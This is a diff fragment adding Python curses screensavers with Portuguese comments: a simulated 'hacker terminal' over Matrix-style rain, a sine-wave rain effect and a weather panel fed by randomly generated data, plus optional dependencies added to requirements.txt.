+ curses.init_pair(6, curses.COLOR_MAGENTA, -1) # prompt
+
+ command_timer = 0
+ current_command = ""
+ typing_pos = 0
+ response_timer = 0
+ current_response = ""
+ terminal_lines = []
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ # chuva matrix de fundo
+ for x in range(sw):
+ if random.randint(1, 3) == 1: # chuva mais esparsa
+ y = columns[x]
+ char = chr(random.randint(33, 126))
+
+ try:
+ stdscr.addch(y, x, char, curses.color_pair(1) | curses.A_DIM)
+ except curses.error:
+ pass
+
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # simula terminal de hacker no centro
+ terminal_height = min(sh - 4, 15)
+ terminal_width = min(sw - 4, 80)
+ terminal_y = (sh - terminal_height) // 2
+ terminal_x = (sw - terminal_width) // 2
+
+ # desenha borda do terminal
+ try:
+ # borda superior e inferior
+ stdscr.addstr(terminal_y - 1, terminal_x - 1,
+ "┌" + "─" * terminal_width + "┐",
+ curses.color_pair(5))
+ stdscr.addstr(terminal_y + terminal_height, terminal_x - 1,
+ "└" + "─" * terminal_width + "┘",
+ curses.color_pair(5))
+
+ # bordas laterais
+ for i in range(terminal_height):
+ stdscr.addch(terminal_y + i, terminal_x - 1, '│', curses.color_pair(5))
+ stdscr.addch(terminal_y + i, terminal_x + terminal_width, '│', curses.color_pair(5))
+
+ # título do terminal
+ title = " HACKER TERMINAL v2.1 "
+ title_x = terminal_x + (terminal_width - len(title)) // 2
+ stdscr.addstr(terminal_y - 1, title_x, title,
+ curses.color_pair(2) | curses.A_BOLD)
+ except curses.error:
+ pass
+
+ # gerencia comandos
+ command_timer += 1
+ if command_timer > random.randint(100, 300) and not current_command:
+ current_command = random.choice(hacker_commands)
+ typing_pos = 0
+ command_timer = 0
+
+ # simula digitação de comando
+ if current_command and typing_pos < len(current_command):
+ if random.randint(1, 3) == 1: # velocidade de digitação
+ typing_pos += 1
+
+ # executa comando e mostra resposta
+ if current_command and typing_pos >= len(current_command):
+ if response_timer == 0:
+ current_response = random.choice(system_responses)
+ response_timer = 1
+
+ response_timer += 1
+ if response_timer > random.randint(50, 150):
+ # adiciona comando e resposta ao histórico
+ terminal_lines.append(("root@matrix:~# " + current_command, curses.color_pair(6)))
+ terminal_lines.append((current_response, curses.color_pair(3)))
+
+ # limita histórico
+ if len(terminal_lines) > terminal_height - 2:
+ terminal_lines.pop(0)
+
+ current_command = ""
+ current_response = ""
+ response_timer = 0
+
+ # desenha conteúdo do terminal
+ try:
+ # limpa área do terminal
+ for i in range(terminal_height):
+ spaces = " " * terminal_width
+ stdscr.addstr(terminal_y + i, terminal_x, spaces[:terminal_width])
+
+ # desenha histórico
+ for i, (line, color) in enumerate(terminal_lines[-terminal_height+2:]):
+ if i < terminal_height - 2:
+ stdscr.addstr(terminal_y + i, terminal_x,
+ line[:terminal_width], color)
+
+ # desenha comando atual sendo digitado
+ if current_command:
+ prompt = "root@matrix:~# "
+ current_line = prompt + current_command[:typing_pos]
+ if typing_pos < len(current_command):
+ current_line += "_" # cursor
+
+ line_y = terminal_y + len(terminal_lines[-terminal_height+2:])
+ if line_y < terminal_y + terminal_height - 1:
+ stdscr.addstr(line_y, terminal_x,
+ current_line[:terminal_width],
+ curses.color_pair(6) | curses.A_BOLD)
+
+ # timestamp no canto
+ timestamp = datetime.datetime.now().strftime("%H:%M:%S")
+ stdscr.addstr(terminal_y + terminal_height - 1,
+ terminal_x + terminal_width - len(timestamp),
+ timestamp, curses.color_pair(4))
+
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,82 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+import math
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+ wave_offset = 0
+
+ # inicializa cores
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_GREEN, -1)
+ curses.init_pair(2, curses.COLOR_CYAN, -1)
+ curses.init_pair(3, curses.COLOR_BLUE, -1)
+ curses.init_pair(4, curses.COLOR_WHITE, -1)
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ wave_offset += 0.2 # velocidade da onda
+
+ for x in range(sw):
+ # calcula posição y baseada em onda senoidal
+ wave_y = int(sh/2 + (sh/4) * math.sin((x + wave_offset) * 0.1))
+
+ # chuva normal
+ y = columns[x]
+ char = chr(random.randint(33, 126))
+
+ # cor baseada na proximidade com a onda
+ distance_to_wave = abs(y - wave_y)
+ if distance_to_wave < 3:
+ color_pair = curses.color_pair(4) # branco (próximo à onda)
+ elif distance_to_wave < 6:
+ color_pair = curses.color_pair(2) # ciano
+ elif distance_to_wave < 10:
+ color_pair = curses.color_pair(3) # azul
+ else:
+ color_pair = curses.color_pair(1) # verde normal
+
+ try:
+ stdscr.addch(y, x, char, color_pair)
+ except curses.error:
+ pass
+
+ # movimento da coluna com influência da onda
+ wave_influence = math.sin((x + wave_offset) * 0.05)
+ if wave_influence > 0.5:
+ columns[x] = 0 if y >= sh - 1 else y + 2 # mais rápido
+ elif wave_influence < -0.5:
+ if random.randint(1, 3) == 1: # mais lento
+ columns[x] = 0 if y >= sh - 1 else y + 1
+ else:
+ columns[x] = 0 if y >= sh - 1 else y + 1 # velocidade normal
+
+ # desenha linha da onda
+ for x in range(sw):
+ wave_y = int(sh/2 + (sh/4) * math.sin((x + wave_offset) * 0.1))
+ if 0 <= wave_y < sh:
+ try:
+ stdscr.addch(wave_y, x, '~', curses.color_pair(4) | curses.A_BOLD)
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,247 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+import datetime
+
+def get_weather_data():
+ """Simula dados meteorológicos (em produção, usar API real como OpenWeatherMap)"""
+
+ # Condições climáticas possíveis
+ conditions = [
+ {'name': 'Sunny', 'icon': '☀️', 'temp_range': (20, 35), 'humidity_range': (30, 60)},
+ {'name': 'Cloudy', 'icon': '☁️', 'temp_range': (15, 25), 'humidity_range': (50, 80)},
+ {'name': 'Rainy', 'icon': '🌧️', 'temp_range': (10, 20), 'humidity_range': (70, 95)},
+ {'name': 'Stormy', 'icon': '⛈️', 'temp_range': (12, 22), 'humidity_range': (80, 95)},
+ {'name': 'Snowy', 'icon': '❄️', 'temp_range': (-5, 5), 'humidity_range': (60, 90)},
+ {'name': 'Foggy', 'icon': '🌫️', 'temp_range': (5, 15), 'humidity_range': (85, 95)},
+ ]
+
+ # Seleciona condição aleatória
+ condition = random.choice(conditions)
+
+ # Gera dados baseados na condição
+ temperature = random.uniform(*condition['temp_range'])
+ humidity = random.randint(*condition['humidity_range'])
+ pressure = random.randint(980, 1030) # hPa
+ wind_speed = random.uniform(0, 25) # km/h
+ wind_direction = random.choice(['N', 'NE', 'E', 'SE', 'S', 'SW', 'W', 'NW'])
+ uv_index = random.randint(0, 11)
+ visibility = random.randint(1, 20) # km
+
+ return {
+ 'condition': condition['name'],
+ 'icon': condition['icon'],
+ 'temperature': temperature,
+ 'humidity': humidity,
+ 'pressure': pressure,
+ 'wind_speed': wind_speed,
+ 'wind_direction': wind_direction,
+ 'uv_index': uv_index,
+ 'visibility': visibility,
+ 'location': 'Matrix City'
+ }
+
+def get_weather_chars(condition):
+ """Retorna caracteres específicos para cada condição climática"""
+ weather_chars = {
+ 'Sunny': list('☀️*·°'),
+ 'Cloudy': list('☁️~≈∼'),
+ 'Rainy': list('🌧️|/\\·'),
+ 'Stormy': list('⛈️⚡*!'),
+ 'Snowy': list('❄️*·○'),
+ 'Foggy': list('🌫️~≈∼')
+ }
+ return weather_chars.get(condition, list('·~*'))
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+
+ # inicializa cores baseadas no clima
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_YELLOW, -1) # ensolarado
+ curses.init_pair(2, curses.COLOR_WHITE, -1) # nublado
+ curses.init_pair(3, curses.COLOR_BLUE, -1) # chuvoso
+ curses.init_pair(4, curses.COLOR_MAGENTA, -1) # tempestade
+ curses.init_pair(5, curses.COLOR_CYAN, -1) # neve
+ curses.init_pair(6, curses.COLOR_GREEN, -1) # informações
+ curses.init_pair(7, curses.COLOR_RED, -1) # alertas
+
+ weather_colors = {
+ 'Sunny': curses.color_pair(1),
+ 'Cloudy': curses.color_pair(2),
+ 'Rainy': curses.color_pair(3),
+ 'Stormy': curses.color_pair(4),
+ 'Snowy': curses.color_pair(5),
+ 'Foggy': curses.color_pair(2)
+ }
+
+ update_timer = 0
+ weather_data = get_weather_data()
+ weather_chars = get_weather_chars(weather_data['condition'])
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ # atualiza dados meteorológicos periodicamente
+ update_timer += 1
+ if update_timer >= 200: # a cada 10 segundos
+ weather_data = get_weather_data()
+ weather_chars = get_weather_chars(weather_data['condition'])
+ update_timer = 0
+
+ # chuva matrix com caracteres climáticos
+ for x in range(sw):
+ y = columns[x]
+
+ # 70% caracteres normais, 30% caracteres climáticos
+ if random.randint(1, 10) <= 7:
+ char = chr(random.randint(33, 126))
+ color = curses.color_pair(6)
+ else:
+ char = random.choice(weather_chars)
+ color = weather_colors[weather_data['condition']]
+
+ try:
+ stdscr.addch(y, x, char, color)
+ except curses.error:
+ pass
+
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # painel meteorológico
+ panel_width = min(sw - 4, 50)
+ panel_height = min(sh - 6, 12)
+ panel_x = (sw - panel_width) // 2
+ panel_y = 3
+
+ try:
+ # borda do painel
+ stdscr.addstr(panel_y - 1, panel_x - 1,
+ "┌" + "─" * panel_width + "┐",
+ curses.color_pair(6))
+ stdscr.addstr(panel_y + panel_height, panel_x - 1,
+ "└" + "─" * panel_width + "┘",
+ curses.color_pair(6))
+
+ for i in range(panel_height):
+ stdscr.addch(panel_y + i, panel_x - 1, '│', curses.color_pair(6))
+ stdscr.addch(panel_y + i, panel_x + panel_width, '│', curses.color_pair(6))
+
+ # título
+ title = f" WEATHER MATRIX - {weather_data['location']} "
+ title_x = panel_x + (panel_width - len(title)) // 2
+ stdscr.addstr(panel_y - 1, title_x, title,
+ curses.color_pair(1) | curses.A_BOLD)
+
+ # condição principal
+ main_condition = f"{weather_data['icon']} {weather_data['condition']}"
+ temp_str = f"{weather_data['temperature']:.1f}°C"
+
+ # centraliza condição e temperatura
+ condition_x = panel_x + (panel_width - len(main_condition)) // 2
+ temp_x = panel_x + (panel_width - len(temp_str)) // 2
+
+ stdscr.addstr(panel_y + 1, condition_x, main_condition,
+ weather_colors[weather_data['condition']] | curses.A_BOLD)
+ stdscr.addstr(panel_y + 2, temp_x, temp_str,
+ curses.color_pair(1) | curses.A_BOLD)
+
+ # linha separadora
+ separator = "─" * panel_width
+ stdscr.addstr(panel_y + 3, panel_x, separator[:panel_width],
+ curses.color_pair(6))
+
+ # detalhes meteorológicos
+ details = [
+ f"Humidity: {weather_data['humidity']}%",
+ f"Pressure: {weather_data['pressure']} hPa",
+ f"Wind: {weather_data['wind_speed']:.1f} km/h {weather_data['wind_direction']}",
+ f"UV Index: {weather_data['uv_index']}/11",
+ f"Visibility: {weather_data['visibility']} km"
+ ]
+
+ for i, detail in enumerate(details):
+ if i + 4 < panel_height:
+ stdscr.addstr(panel_y + i + 4, panel_x + 2, detail, curses.color_pair(6))
+
+ # timestamp
+ timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
+ time_text = f"Updated: {timestamp}"
+ stdscr.addstr(panel_y + panel_height - 1, panel_x + 2, time_text[:panel_width-4],
+ curses.color_pair(2))
+
+ except curses.error:
+ pass
+
+ # alertas meteorológicos
+ try:
+ alerts = []
+
+ if weather_data['temperature'] > 30:
+ alerts.append("HIGH TEMPERATURE WARNING")
+ elif weather_data['temperature'] < 0:
+ alerts.append("FREEZING TEMPERATURE ALERT")
+
+ if weather_data['wind_speed'] > 20:
+ alerts.append("HIGH WIND WARNING")
+
+ if weather_data['uv_index'] > 8:
+ alerts.append("HIGH UV INDEX ALERT")
+
+ if weather_data['visibility'] < 5:
+ alerts.append("LOW VISIBILITY WARNING")
+
+ # mostra alertas
+ for i, alert in enumerate(alerts[:2]): # máximo 2 alertas
+ alert_y = sh - 2 + i
+ if alert_y < sh:
+ stdscr.addstr(alert_y, 0, f"⚠️ {alert}"[:sw],
+ curses.color_pair(7) | curses.A_BOLD | curses.A_BLINK)
+
+ except curses.error:
+ pass
+
+ # barra de conforto térmico
+ try:
+ temp = weather_data['temperature']
+ if temp < 10:
+ comfort = "COLD"
+ comfort_color = curses.color_pair(5)
+ elif temp < 20:
+ comfort = "COOL"
+ comfort_color = curses.color_pair(3)
+ elif temp < 25:
+ comfort = "COMFORTABLE"
+ comfort_color = curses.color_pair(6)
+ elif temp < 30:
+ comfort = "WARM"
+ comfort_color = curses.color_pair(1)
+ else:
+ comfort = "HOT"
+ comfort_color = curses.color_pair(7)
+
+ comfort_text = f"COMFORT LEVEL: {comfort}"
+ if not alerts: # só mostra se não há alertas
+ stdscr.addstr(sh-1, 0, comfort_text[:sw], comfort_color | curses.A_BOLD)
+
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -1,1 +1,16 @@-psutil>=5.8.0 +psutil>=5.8.0
+
+# Optional dependencies for enhanced features
+# Uncomment the lines below for specific screensaver features
+
+# Audio libraries for matrix_music.py (choose one):
+# pyaudio>=0.2.11 # Primary audio library (requires system audio dev packages)
+# sounddevice>=0.4.0 # Alternative audio library (easier installation)
+# numpy>=1.21.0 # For audio signal processing
+
+# Network and API libraries for connected screensavers:
+# requests>=2.25.0 # For API calls (matrix_crypto.py, matrix_weather.py)
+# urllib3>=1.26.0 # HTTP library for network requests
+
+# Additional processing libraries (optional):
+# scipy>=1.7.0 # For advanced audio analysis